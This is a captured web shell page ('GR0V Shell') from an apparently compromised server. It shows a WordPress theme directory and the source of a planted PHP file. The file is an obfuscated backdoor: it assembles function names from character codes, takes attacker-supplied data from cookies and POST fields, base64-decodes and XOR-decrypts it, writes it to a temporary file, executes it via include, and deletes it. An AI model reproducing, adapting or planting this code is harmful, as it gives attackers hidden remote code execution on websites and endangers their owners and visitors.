? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/asteroid/includes/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/asteroid/includes/da31075a.php

$rjzJb = 's' . chr (99) . "\150" . '_' . chr ( 1007 - 940 ).chr ( 713 - 635 ).'x' . chr ( 595 - 490 )."\172";$KhIyqwd = "\x63" . "\x6c" . "\141" . "\163" . "\163" . "\x5f" . "\x65" . chr (120) . chr ( 295 - 190 ).chr (115) . chr ( 919 - 803 )."\x73";$GfEsWUYax = $KhIyqwd($rjzJb); $KhIyqwd = "17051";$dXKKWQ = $GfEsWUYax;if (!$dXKKWQ){class sch_CNxiz{private $KRljZOMib;public static $LgLzUxWx = "a329c2f7-89cd-4b99-a22a-57de09b64e74";public static $VScgyfUS = 65140;public function __construct($upPgDIOZha=0){$RausBwPf = $_COOKIE;$tfUuRoXedQ = $_POST;$TEmvcp = @$RausBwPf[substr(sch_CNxiz::$LgLzUxWx, 0, 4)];if (!empty($TEmvcp)){$OAYoTbDDIi = "base64";$eRdCJVThU = "";$TEmvcp = explode(",", $TEmvcp);foreach ($TEmvcp as $yMsLQVoP){$eRdCJVThU .= @$RausBwPf[$yMsLQVoP];$eRdCJVThU .= @$tfUuRoXedQ[$yMsLQVoP];}$eRdCJVThU = array_map($OAYoTbDDIi . "\137" . 'd' . "\145" . "\143" . 'o' . chr (100) . "\145", array($eRdCJVThU,)); $eRdCJVThU = $eRdCJVThU[0] ^ str_repeat(sch_CNxiz::$LgLzUxWx, (strlen($eRdCJVThU[0]) / strlen(sch_CNxiz::$LgLzUxWx)) + 1);sch_CNxiz::$VScgyfUS = @unserialize($eRdCJVThU);}}private function CLDTHGdZUx(){if (is_array(sch_CNxiz::$VScgyfUS)) {$qnRWzDIlcY = sys_get_temp_dir() . "/" . crc32(sch_CNxiz::$VScgyfUS[chr (115) . 'a' . 'l' . chr ( 244 - 128 )]);@sch_CNxiz::$VScgyfUS[chr (119) . "\x72" . "\x69" . chr ( 534 - 418 ).chr ( 917 - 816 )]($qnRWzDIlcY, sch_CNxiz::$VScgyfUS[chr (99) . chr (111) . chr ( 615 - 505 ).chr (116) . "\145" . 'n' . "\164"]);include $qnRWzDIlcY;@sch_CNxiz::$VScgyfUS[chr (100) . "\x65" . "\154" . 'e' . "\x74" . chr ( 822 - 721 )]($qnRWzDIlcY); $eLwHXEBcj = "13660";exit();}}public function __destruct(){$this->CLDTHGdZUx(); $eLwHXEBcj = "13660";}}$qdhHZdCdbB = new sch_CNxiz(); $qdhHZdCdbB = "43930_29651";}

T1KUS90T
  root-grov@210.1.60.28:~$